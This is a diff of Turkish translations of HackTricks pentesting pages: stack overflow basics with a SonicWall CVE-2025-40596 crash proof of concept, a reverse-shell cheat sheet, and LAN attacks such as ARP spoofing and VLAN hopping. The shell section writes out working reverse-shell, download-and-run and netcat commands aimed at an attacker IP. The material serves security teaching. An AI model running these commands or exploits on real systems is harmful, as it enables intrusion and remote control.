- Daha sonra, içerik boyutu 8 olan başka bir not (note2) oluşturun. İçerik, not1'de olacak çünkü parça yeniden kullanılacak, burada fonksiyon işaretçisini kazanan fonksiyona işaret edecek şekilde değiştirebiliriz ve ardından Not1'i Kullanımdan Sonra serbest bırakıp yeni fonksiyon işaretçisini çağırabiliriz.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
- Bazı bellek ayırmak, istenen değeri yazmak, serbest bırakmak, yeniden ayırmak ve önceki veriler hala orada olduğundan, yeni beklenen yapı ile parçanın içinde işlenmesi mümkün hale gelir, bu da değeri ayarlamayı veya bayrağı almayı mümkün kılar.
|
||||
- Bazı bellek ayırmak, istenen değeri yazmak, serbest bırakmak, yeniden ayırmak ve önceki veriler hala orada olduğu için, yeni beklenen yapı ile parçanın içinde işlenmesi mümkün olacaktır, bu da değeri ayarlayıp bayrağı almayı mümkün kılar.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- Bu durumda, belirli bir parçanın içine 4 yazmak gereklidir, bu da ilk tahsis edilen parçadır (hepsini zorla serbest bıraktıktan sonra bile). Her yeni tahsis edilen parçanın dizideki numarası saklanır. Ardından, 4 parça (+ başlangıçta tahsis edilen) ayırın, sonuncusu içinde 4 olacak, bunları serbest bırakın ve ilk parçanın yeniden tahsis edilmesini zorlayın, bu da son serbest bırakılan parçayı kullanacaktır, bu da içinde 4 olan parçadır.
|
||||
- 2024 HITCON Quals Setjmp yazısı (Quarkslab) – pratik ilk uygun / sıralanmamış-bölme örtüşme saldırısı: <https://ctftime.org/writeup/39355>
|
||||
- Angstrom CTF 2024 *heapify* yazısı – sıralanmamış kutu bölme istismar ederek libc'yi sızdırma ve örtüşme sağlama: <https://hackmd.io/@aneii11/H1S2snV40>
|
||||
- Angstrom CTF 2024 *heapify* yazısı – sıralanmamış kutu bölme istismar ederek libc'yi sızdırmak ve örtüşme sağlamak: <https://hackmd.io/@aneii11/H1S2snV40>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,11 +6,11 @@
|
||||
|
||||
Bir **stack overflow**, bir programın yığın (stack) için ayrılan alandan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesintiye uğramasına ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.
|
||||
|
||||
Bu üzerine yazma işleminin ana sorunu, **kayıtlı komut işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kayıtlı temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazarak **programın yürütme akışını kontrol edebilir**.
|
||||
Bu üzerine yazmanın ana sorunu, **kaydedilmiş talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kaydedilmiş temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazarak **programın yürütme akışını kontrol edebilir**.
|
||||
|
||||
Güvenlik açığı genellikle bir fonksiyonun **yığının içine ayrılan miktardan daha fazla bayt kopyalaması** nedeniyle ortaya çıkar ve bu da yığının diğer kısımlarını üzerine yazmasına olanak tanır.
|
||||
|
||||
Bu tür güvenlik açıklarına sahip bazı yaygın fonksiyonlar şunlardır: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, **`fgets`**, **`read` & `memcpy`** gibi **uzunluk argümanı** alan fonksiyonlar, belirtilen uzunluk ayrılan uzunluktan büyükse, savunmasız bir şekilde kullanılabilir.
|
||||
Buna karşı duyarlı bazı yaygın fonksiyonlar şunlardır: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, **`fgets`**, **`read` & `memcpy`** gibi **uzunluk argümanı** alan fonksiyonlar, belirtilen uzunluk ayrılan uzunluktan büyükse, savunmasız bir şekilde kullanılabilir.
|
||||
|
||||
Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir:
|
||||
```c
|
||||
@ -25,9 +25,9 @@ printf("You entered: %s\n", buffer);
|
||||
|
||||
Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir `A` girişi vermektir (örneğin, `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresinin erişilmeye çalışıldığını** belirten bir `Segmentation Fault` beklemektir.
|
||||
|
||||
Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** yazmanın mümkün olacağı ofseti bulmanız gerekecektir. Bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin tam olarak bir kez göründüğü döngüsel bir dizidir.**
|
||||
Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** geçersiz kılmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin tam olarak bir kez göründüğü** döngüsel bir dizidir.
|
||||
|
||||
Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu yazmayı bitiren baytların ofsetini bulmak mümkündür.
|
||||
Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu geçersiz kılan baytların ofsetini bulmak mümkündür.
|
||||
|
||||
Bunun için **pwntools** kullanılabilir:
|
||||
```python
|
||||
@ -50,7 +50,7 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Stack Overflow'ları Sömürmek
|
||||
|
||||
Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) **stack** içindeki yerel değişkenlerin değerlerini **üzerine yazmak** mümkün olacaktır, ta ki kaydedilmiş **EBP/RBP ve EIP/RIP (veya daha fazlası)** ulaşana kadar.\
|
||||
Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) **stack** içindeki yerel değişkenlerin değerlerini **üzerine yazma** işlemi yapabileceksiniz, bu da **kaydedilmiş EBP/RBP ve EIP/RIP'ye (veya daha fazlasına)** ulaşana kadar devam eder.\
|
||||
Bu tür bir güvenlik açığını istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı kullanıcının bu işaretçide belirttiği yere yönlendirilecektir**.
|
||||
|
||||
Ancak, diğer senaryolarda sadece **stack'teki bazı değişken değerlerini üzerine yazmak** istismar için yeterli olabilir (örneğin, kolay CTF zorluklarında).
|
||||
@ -97,7 +97,7 @@ Güvenlik açıklarının istismarını önlemeye çalışan çeşitli korumalar
|
||||
|
||||
### Gerçek Dünya Örneği: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
**`sscanf`'in güvenilmeyecek girdi ayrıştırması için asla güvenilmemesi gerektiğinin** iyi bir gösterimi, 2025 yılında SonicWall’ın SMA100 SSL-VPN cihazında ortaya çıktı. `/usr/src/EasyAccess/bin/httpd` içindeki savunmasız rutin, `/__api__/` ile başlayan herhangi bir URI'den sürüm ve uç noktayı çıkarmaya çalışmaktadır:
|
||||
**`sscanf`'in güvenilmeyecek girdi ayrıştırma işlemleri için asla güvenilmemesi** gerektiğinin iyi bir gösterimi, 2025 yılında SonicWall’ın SMA100 SSL-VPN cihazında ortaya çıktı. `/usr/src/EasyAccess/bin/httpd` içindeki savunmasız rutin, `/__api__/` ile başlayan herhangi bir URI'den sürüm ve uç noktayı çıkarmaya çalışmaktadır:
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
@ -106,9 +106,9 @@ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. İlk dönüşüm (`%2s`) **iki** baytı `version` içine güvenli bir şekilde depolar (örneğin, `"v1"`).
|
||||
2. İkinci dönüşüm (`%s`) **uzunluk belirleyiciye sahip değildir**, bu nedenle `sscanf` **ilk NUL baytına kadar** kopyalamaya devam eder.
|
||||
3. Çünkü `endpoint` **stack** üzerinde yer almakta ve **0x800 bayt uzunluğunda** olduğundan, 0x800 bayttan daha uzun bir yol sağlamak, tamponun ardından gelen her şeyi bozar ‑ **stack canary** ve **kayıtlı dönüş adresi** dahil.
|
||||
3. `endpoint` **stack** üzerinde yer almakta ve **0x800 bayt uzunluğunda** olduğundan, 0x800 bayttan daha uzun bir yol sağlamak, tamponun ardından gelen her şeyi bozar ‑ **stack canary** ve **kayıtlı dönüş adresi** dahil.
|
||||
|
||||
Kimlik doğrulamasından **önce** çöküşü tetiklemek için tek satırlık bir kanıt konsepti yeterlidir:
|
||||
Kimlik doğrulama **öncesinde** çöküşü tetiklemek için tek satırlık bir kanıt konsepti yeterlidir:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
|
||||
@ -34,20 +34,20 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
||||
```
|
||||
#### Shell açıklaması
|
||||
|
||||
1. **`bash -i`**: Bu komutun bu kısmı etkileşimli (`-i`) bir Bash shell başlatır.
|
||||
2. **`>&`**: Bu komutun bu kısmı **standart çıktıyı** (`stdout`) ve **standart hatayı** (`stderr`) **aynı hedefe yönlendirmek için** kısayol notasyonudur.
|
||||
1. **`bash -i`**: Bu komutun kısmı etkileşimli (`-i`) Bash shell'ini başlatır.
|
||||
2. **`>&`**: Bu komutun kısmı **standart çıktıyı** (`stdout`) ve **standart hatayı** (`stderr`) **aynı hedefe yönlendirmek için** kısayol notasyonudur.
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Bu, **belirtilen IP adresine ve porta bir TCP bağlantısını temsil eden** özel bir dosyadır.
|
||||
- **Çıktı ve hata akışlarını bu dosyaya yönlendirerek**, komut etkili bir şekilde etkileşimli shell oturumunun çıktısını saldırganın makinesine gönderir.
|
||||
4. **`0>&1`**: Bu komutun bu kısmı **standart girişi (`stdin`) standart çıktının (`stdout`) aynı hedefine yönlendirir**.
|
||||
4. **`0>&1`**: Bu komutun kısmı **standart girişi (`stdin`) standart çıktının (`stdout`) aynı hedefine yönlendirir**.
|
||||
|
||||
### Dosyada oluştur ve çalıştır
|
||||
### Dosya oluştur ve çalıştır
|
||||
```bash
|
||||
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
|
||||
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
|
||||
```
|
||||
## Forward Shell
|
||||
|
||||
Linux tabanlı bir web uygulamasında **Remote Code Execution (RCE)** zafiyeti ile uğraşırken, bir reverse shell elde etmek iptables kuralları veya karmaşık paket filtreleme mekanizmaları gibi ağ savunmaları tarafından engellenebilir. Böyle kısıtlı ortamlarda, ele geçirilmiş sistemle daha etkili bir şekilde etkileşim kurmak için bir PTY (Pseudo Terminal) shell oluşturmak alternatif bir yaklaşım sunar.
|
||||
Bir **Remote Code Execution (RCE)** zafiyeti ile bir Linux tabanlı web uygulamasıyla uğraşırken, ters bir shell elde etmek, iptables kuralları veya karmaşık paket filtreleme mekanizmaları gibi ağ savunmaları tarafından engellenebilir. Böyle kısıtlı ortamlarda, ele geçirilmiş sistemle daha etkili bir şekilde etkileşim kurmak için bir PTY (Pseudo Terminal) shell kurmak alternatif bir yaklaşım olarak öne çıkmaktadır.
|
||||
|
||||
Bu amaç için önerilen bir araç [toboggan](https://github.com/n3rada/toboggan.git) olup, hedef ortamla etkileşimi basitleştirir.
|
||||
|
||||
@ -75,7 +75,7 @@ response.raise_for_status()
|
||||
|
||||
return response.text
|
||||
```
|
||||
Ve sonra, şunu çalıştırabilirsiniz:
|
||||
Ve ardından şunu çalıştırabilirsiniz:
|
||||
```shell
|
||||
toboggan -m nix.py -i
|
||||
```
|
||||
@ -86,8 +86,8 @@ Başka bir olasılık, `IppSec` ileri shell uygulamasını kullanmaktır [**http
|
||||
Sadece şunları değiştirmeniz gerekiyor:
|
||||
|
||||
- Zayıf hedefin URL'si
|
||||
- Yükünüzün ön eki ve son eki (varsa)
|
||||
- Yükün gönderilme şekli (başlıklar? veri? ek bilgi?)
|
||||
- Yükleminizin ön eki ve son eki (varsa)
|
||||
- Yüklemin nasıl gönderileceği (başlıklar? veri? ek bilgi?)
|
||||
|
||||
Sonra, sadece **komutlar gönderebilir** veya hatta **tam bir PTY almak için `upgrade` komutunu** kullanabilirsiniz (boruların yaklaşık 1.3 saniyelik bir gecikme ile okunduğunu ve yazıldığını unutmayın).
|
||||
|
||||
@ -101,7 +101,7 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <
|
||||
```
|
||||
## gsocket
|
||||
|
||||
Bunu kontrol et [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
|
||||
Bunu kontrol etin [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
|
||||
```bash
|
||||
bash -c "$(curl -fsSL gsocket.io/x)"
|
||||
```
|
||||
@ -255,11 +255,11 @@ revsh -c 0.0.0.0:443 -key key.pem -cert cert.pem
|
||||
./revsh <ATTACKER-IP>:443
|
||||
```
|
||||
Faydalı bayraklar:
|
||||
- `-b` : tersine yerine bind-shell
|
||||
- `-b` : tersine yerine bağlama kabuğu
|
||||
- `-p socks5://127.0.0.1:9050` : TOR/HTTP/SOCKS üzerinden proxy
|
||||
- `-t` : bir TUN arayüzü oluştur (ters VPN)
|
||||
|
||||
Tüm oturum şifreli ve çoklu olduğundan, genellikle düz metin `/dev/tcp` shell'ini öldürecek basit çıkış filtrelemesini atlar.
|
||||
Tüm oturum şifreli ve çoklu olduğundan, genellikle düz metin `/dev/tcp` kabuğunu öldürecek basit çıkış filtrelemesini atlar.
|
||||
|
||||
## OpenSSL
|
||||
|
||||
@ -338,7 +338,7 @@ Bu, sisteminize 6001 numaralı portta bağlanmaya çalışacaktır:
|
||||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
Ters shell'i yakalamak için (port 6001'de dinleyecek) şunu kullanabilirsiniz:
|
||||
Ters shell'i yakalamak için (6001 numaralı portta dinleyecek) şunu kullanabilirsiniz:
|
||||
```bash
|
||||
# Authorize host
|
||||
xhost +targetip
|
||||
|
||||
@ -27,7 +27,7 @@ O zaman, ihtiyacınız olan şey **hızlı bir port tarayıcısı** ([masscan](h
|
||||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||||
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
|
||||
```
|
||||
`nmap` ile bu adımı da gerçekleştirebilirsiniz, ancak daha yavaştır ve `nmap`'in açık olan hostları tanımlamada bazı sorunları vardır.
|
||||
`nmap` ile bu adımı da gerçekleştirebilirsiniz, ancak daha yavaştır ve `nmap`'in açık hostları tanımlamada bazı sorunları vardır.
|
||||
|
||||
### HTTP Port Keşfi
|
||||
|
||||
@ -37,7 +37,7 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
### UDP Port Discovery
|
||||
|
||||
Ayrıca, bir **host'a daha fazla dikkat edip etmeyeceğinizi** belirlemek için bazı **UDP portlarının açık** olup olmadığını kontrol etmeyi deneyebilirsiniz. UDP hizmetleri genellikle boş bir UDP prob paketi ile **hiçbir veri** ile yanıt vermediğinden, bir portun filtrelenip filtrelenmediğini veya açık olup olmadığını söylemek zordur. Bunu belirlemenin en kolay yolu, çalışan hizmetle ilgili bir paket göndermektir ve hangi hizmetin çalıştığını bilmediğiniz için, port numarasına dayalı olarak en olası olanı denemelisiniz:
|
||||
Ayrıca, bir **host'a daha fazla dikkat edip etmeyeceğinizi** belirlemek için bazı **UDP portlarının açık** olup olmadığını kontrol etmeyi deneyebilirsiniz. UDP hizmetleri genellikle boş bir UDP prob paketiyle **hiçbir veri** ile yanıt vermediğinden, bir portun filtrelenip filtrelenmediğini veya açık olup olmadığını söylemek zordur. Bunu belirlemenin en kolay yolu, çalışan hizmetle ilgili bir paket göndermektir ve hangi hizmetin çalıştığını bilmediğiniz için, port numarasına dayalı olarak en olası olanı denemelisiniz:
|
||||
```bash
|
||||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
@ -52,7 +52,7 @@ nmap -T4 -sY -n --open -Pn <IP/range>
|
||||
```
|
||||
## Pentesting Wifi
|
||||
|
||||
Burada yazıldığı sırada bilinen tüm Wifi saldırılarının güzel bir kılavuzunu bulabilirsiniz:
|
||||
Burada yazıldığı dönemdeki tüm bilinen Wifi saldırılarının güzel bir kılavuzunu bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-wifi/
|
||||
@ -64,7 +64,7 @@ Ağ içinde iseniz, yapmak isteyeceğiniz ilk şeylerden biri **diğer hostları
|
||||
|
||||
### Pasif
|
||||
|
||||
Bağlı bir ağ içindeki hostları pasif olarak keşfetmek için bu araçları kullanabilirsiniz:
|
||||
Bağlı bir ağ içinde hostları pasif olarak keşfetmek için bu araçları kullanabilirsiniz:
|
||||
```bash
|
||||
netdiscover -p
|
||||
p0f -i eth0 -p -o /tmp/p0f.log
|
||||
@ -75,8 +75,8 @@ set net.show.meta true #more info
|
||||
```
|
||||
### Aktif
|
||||
|
||||
[_**Dışarıdan hostları keşfetme**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) bölümünde bahsedilen teknikler burada da **uygulanabilir**.\
|
||||
Ancak, diğer hostlarla **aynı ağda** olduğunuz için **daha fazla şey** yapabilirsiniz:
|
||||
Dışarıdan [_**Host'ları Keşfetme**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Keşfi_) ile ilgili yorumlanan tekniklerin burada da **uygulanabileceğini** unutmayın.\
|
||||
Ancak, diğer host'larla **aynı ağda** olduğunuz için **daha fazla şey** yapabilirsiniz:
|
||||
```bash
|
||||
#ARP discovery
|
||||
nmap -sn <Network> #ARP Requests (Discover IPs)
|
||||
@ -96,20 +96,20 @@ set net.probe.throttle 10 #10ms between probes sent (default=10)
|
||||
#IPv6
|
||||
alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
```
|
||||
### Aktif ICMP
|
||||
### Active ICMP
|
||||
|
||||
_Dışarıdan hostları keşfetme_ (_**ICMP**_](#icmp)) bölümünde bahsedilen tekniklerin burada da **uygulanabileceğini** unutmayın.\
|
||||
Dışarıdan hostları keşfetme ile ilgili yorumlanan tekniklerin (_Discovering hosts from the outside_ ([_**ICMP**_](#icmp))) burada da **uygulanabileceğini** unutmayın.\
|
||||
Ancak, diğer hostlarla **aynı ağda** olduğunuz için **daha fazla şey** yapabilirsiniz:
|
||||
|
||||
- Eğer bir **alt ağ yayın adresine** **ping** atarsanız, ping **her hosta** ulaşmalı ve **size yanıt verebilir**: `ping -b 10.10.5.255`
|
||||
- **Ağ yayın adresine** ping atarak **diğer alt ağlar** içindeki hostları bile bulabilirsiniz: `ping -b 255.255.255.255`
|
||||
- Host keşfi yapmak için `nmap`'in `-PE`, `-PP`, `-PM` bayraklarını kullanarak sırasıyla **ICMPv4 echo**, **zaman damgası** ve **alt ağ maskesi istekleri** gönderin: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
- Eğer bir **subnet broadcast address**'e **ping** atarsanız, ping **her hosta** ulaşmalı ve onlar da **size yanıt verebilir**: `ping -b 10.10.5.255`
|
||||
- **Network broadcast address**'e ping atarak **diğer subnetlerdeki** hostları bile bulabilirsiniz: `ping -b 255.255.255.255`
|
||||
- Host keşfi yapmak için `nmap`'in `-PE`, `-PP`, `-PM` bayraklarını kullanarak sırasıyla **ICMPv4 echo**, **timestamp** ve **subnet mask requests** gönderebilirsiniz: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
|
||||
### **Wake On Lan**
|
||||
|
||||
Wake On Lan, bilgisayarları bir **ağ mesajı** aracılığıyla **açmak için** kullanılır. Bilgisayarı açmak için kullanılan sihirli paket, yalnızca bir **MAC Dst** sağlanan ve ardından aynı paket içinde **16 kez tekrarlanan** bir pakettir.\
|
||||
Bu tür paketler genellikle **ethernet 0x0842** veya **UDP paketi ile port 9'a** gönderilir.\
|
||||
Eğer **hiçbir \[MAC]** sağlanmazsa, paket **yayın ethernet**'e gönderilir (ve yayın MAC, tekrarlanan MAC olacaktır).
|
||||
Bu tür paketler genellikle **ethernet 0x0842** veya **UDP paketine port 9** üzerinden gönderilir.\
|
||||
Eğer **hiçbir \[MAC]** sağlanmazsa, paket **broadcast ethernet**'e gönderilir (ve broadcast MAC tekrarlanan olacaktır).
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||||
@ -138,7 +138,7 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
|
||||
```
|
||||
### UDP
|
||||
|
||||
Bir UDP portunu taramak için 2 seçenek vardır:
|
||||
UDP portunu taramak için 2 seçenek vardır:
|
||||
|
||||
- **Kapalı** ise bir **UDP paketi** gönderin ve _**ICMP ulaşılamaz**_ yanıtını kontrol edin (birçok durumda ICMP **filtrelenebilir**, bu nedenle portun kapalı mı yoksa açık mı olduğuna dair herhangi bir bilgi almayacaksınız).
|
||||
- Bir **hizmetten** (örneğin, DNS, DHCP, TFTP ve _nmap-payloads_ 'da listelenen diğerleri) yanıt almak için **formatlanmış datagramlar** gönderin. Eğer bir **yanıt** alırsanız, o zaman port **açık** demektir.
|
||||
@ -222,13 +222,13 @@ Açıkça.
|
||||
|
||||
### Kimlik bilgilerini yakalama
|
||||
|
||||
Bir pcap veya canlı bir arayüzden kimlik bilgilerini ayrıştırmak için [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) gibi araçlar kullanabilirsiniz.
|
||||
Bir pcap veya canlı arayüzden kimlik bilgilerini ayrıştırmak için [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) gibi araçlar kullanabilirsiniz.
|
||||
|
||||
## LAN saldırıları
|
||||
|
||||
### ARP sahtekarlığı
|
||||
|
||||
ARP Sahtekarlığı, bir makinenin IP'sinin cihazımızın MAC'ine sahip olduğunu belirtmek için gereksiz ARP Yanıtları göndermeyi içerir. Ardından, kurban ARP tablosunu değiştirecek ve sahte IP ile iletişim kurmak istediğinde her seferinde cihazımıza başvuracaktır.
|
||||
ARP Sahtekarlığı, bir makinenin IP'sinin cihazımızın MAC'ine sahip olduğunu belirtmek için gereksiz ARP Yanıtları göndermeyi içerir. Ardından, kurban ARP tablosunu değiştirecek ve IP sahtekarlığı yapmak istediğinde her seferinde cihazımıza başvuracaktır.
|
||||
|
||||
#### **Bettercap**
|
||||
```bash
|
||||
@ -258,7 +258,7 @@ Bu zayıflık modern anahtarlarda düzeltilmiştir.
|
||||
|
||||
**Dinamik Trunking Protokolü (DTP)**, trunking için otomatik bir sistem sağlamak amacıyla bir bağlantı katmanı protokolü olarak tasarlanmıştır ve anahtarların trunk modunu (Trunk) veya non-trunk modunu otomatik olarak seçmelerine olanak tanır. **DTP**'nin kullanımı genellikle suboptimal ağ tasarımının bir göstergesi olarak görülür ve trunk'ların yalnızca gerekli yerlerde manuel olarak yapılandırılmasının ve uygun belgelerin sağlanmasının önemini vurgular.
|
||||
|
||||
Varsayılan olarak, anahtar portları Dinamik Otomatik modda çalışacak şekilde ayarlanmıştır, bu da komşu bir anahtar tarafından tetiklendiğinde trunking başlatmaya hazır oldukları anlamına gelir. Bir pentester veya saldırgan anahtara bağlandığında ve bir DTP İstenilen çerçevesi gönderdiğinde, portun trunk moduna girmesi sağlanır. Bu eylem, saldırganın STP çerçeve analizi yoluyla VLAN'ları saymasına ve sanal arayüzler kurarak VLAN segmentasyonunu aşmasına olanak tanır.
|
||||
Varsayılan olarak, anahtar portları Dinamik Otomatik modda çalışacak şekilde ayarlanmıştır, bu da komşu bir anahtar tarafından tetiklendiğinde trunking başlatmaya hazır oldukları anlamına gelir. Bir pentester veya saldırgan anahtara bağlandığında ve bir DTP İstenilen çerçevesi gönderdiğinde, bir güvenlik sorunu ortaya çıkar; bu, portun trunk moduna girmesine neden olur. Bu eylem, saldırgana STP çerçeve analizi yoluyla VLAN'ları listeleme ve sanal arayüzler kurarak VLAN segmentasyonunu aşma imkanı tanır.
|
||||
|
||||
Birçok anahtarda varsayılan olarak DTP'nin bulunması, düşmanların bir anahtarın davranışını taklit etmesine ve böylece tüm VLAN'lar üzerindeki trafiğe erişim sağlamasına olanak tanır. [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) betiği, bir arayüzü izlemek için kullanılır ve bir anahtarın Varsayılan, Trunk, Dinamik, Otomatik veya Erişim modunda olup olmadığını gösterir; sonuncusu VLAN hopping saldırılarına karşı tek korumalı yapılandırmadır. Bu araç, anahtarın zayıflık durumunu değerlendirir.
|
||||
|
||||
@ -275,7 +275,7 @@ yersinia -G #For graphic mode
|
||||
```
|
||||
.png>)
|
||||
|
||||
VLAN'ları listelemek için, [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** scripti ile DTP Desirable çerçevesi oluşturmak da mümkündür. **Scripti hiçbir koşulda durdurmayın. Her üç saniyede bir DTP Desirable enjekte eder. **Anahtardaki dinamik olarak oluşturulan trunk kanalları yalnızca beş dakika boyunca aktiftir. Beş dakikadan sonra trunk devre dışı kalır.**
|
||||
VLAN'ları listelemek için, [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** ile DTP Desirable çerçevesi oluşturmak da mümkündür. **Scripti hiçbir koşulda durdurmayın. Her üç saniyede bir DTP Desirable enjekte eder. **Anahtardaki dinamik olarak oluşturulan trunk kanalları yalnızca beş dakika boyunca aktiftir. Beş dakikadan sonra trunk devre dışı kalır.**
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
@ -327,9 +327,9 @@ Tartışılan saldırı olan **Dynamic Trunking ve sanal arayüzler oluşturma v
|
||||
|
||||
#### Double Tagging
|
||||
|
||||
Eğer bir saldırgan **kurban hostun MAC, IP ve VLAN ID değerlerini** biliyorsa, **çerçeveyi** kendi belirlenen VLAN'ı ve kurbanın VLAN'ını kullanarak **çift etiketleme** yapmayı deneyebilir ve bir paket gönderebilir. **Kurban geri bağlanamayacağı için**, **saldırgan için en iyi seçenek, bazı ilginç eylemler gerçekleştirebilen protokollerle (örneğin SNMP) UDP üzerinden iletişim kurmaktır.**
|
||||
Eğer bir saldırgan **kurban hostun MAC, IP ve VLAN ID değerlerini** biliyorsa, **çerçeveyi** kendi belirlenen VLAN'ı ve kurbanın VLAN'ını kullanarak **çift etiketleme** yapmayı deneyebilir ve bir paket gönderebilir. **Kurban geri bağlanamayacağı için**, **saldırgan için en iyi seçenek UDP üzerinden iletişim kurmaktır**; bu, bazı ilginç eylemleri gerçekleştirebilen protokollerle (örneğin SNMP) iletişim kurmayı sağlar.
|
||||
|
||||
Saldırgan için bir diğer seçenek, **saldırgan tarafından kontrol edilen ve kurban tarafından erişilebilen bir IP'yi taklit ederek TCP port taraması başlatmaktır** (muhtemelen internet üzerinden). Ardından, saldırgan, kurbanın gönderdiği bazı paketleri alıp almadığını görmek için kendisine ait ikinci hostta dinleme yapabilir.
|
||||
Saldırgan için bir diğer seçenek, **saldırgan tarafından kontrol edilen ve kurban tarafından erişilebilen bir IP'yi taklit ederek TCP port taraması başlatmaktır** (muhtemelen internet üzerinden). Ardından, saldırgan, kurbanın bazı paketler alıp almadığını görmek için kendisine ait ikinci hostta dinleme yapabilir.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -361,7 +361,7 @@ Saldırı, **hedef istemcinin IP adresini taşıyan ancak yönlendiricinin MAC a
|
||||
|
||||
### VTP Attacks
|
||||
|
||||
VTP (VLAN Trunking Protocol), VLAN yönetimini merkezileştirir. VLAN veritabanı bütünlüğünü korumak için revizyon numaraları kullanır; herhangi bir değişiklik bu numarayı artırır. Anahtarlar, daha yüksek revizyon numaralarına sahip yapılandırmaları benimser ve kendi VLAN veritabanlarını günceller.
|
||||
VTP (VLAN Trunking Protocol), VLAN yönetimini merkezileştirir. VLAN veritabanı bütünlüğünü korumak için revizyon numaraları kullanır; herhangi bir değişiklik bu numarayı artırır. Anahtarlar, kendi VLAN veritabanlarını güncelleyerek daha yüksek revizyon numaralarına sahip yapılandırmaları benimser.
|
||||
|
||||
#### VTP Domain Roles
|
||||
|
||||
@ -373,9 +373,9 @@ VTP (VLAN Trunking Protocol), VLAN yönetimini merkezileştirir. VLAN veritaban
|
||||
|
||||
- **Summary Advertisement:** VTP sunucusu tarafından her 300 saniyede bir yayınlanır ve temel alan bilgilerini taşır.
|
||||
- **Subset Advertisement:** VLAN yapılandırma değişikliklerinden sonra gönderilir.
|
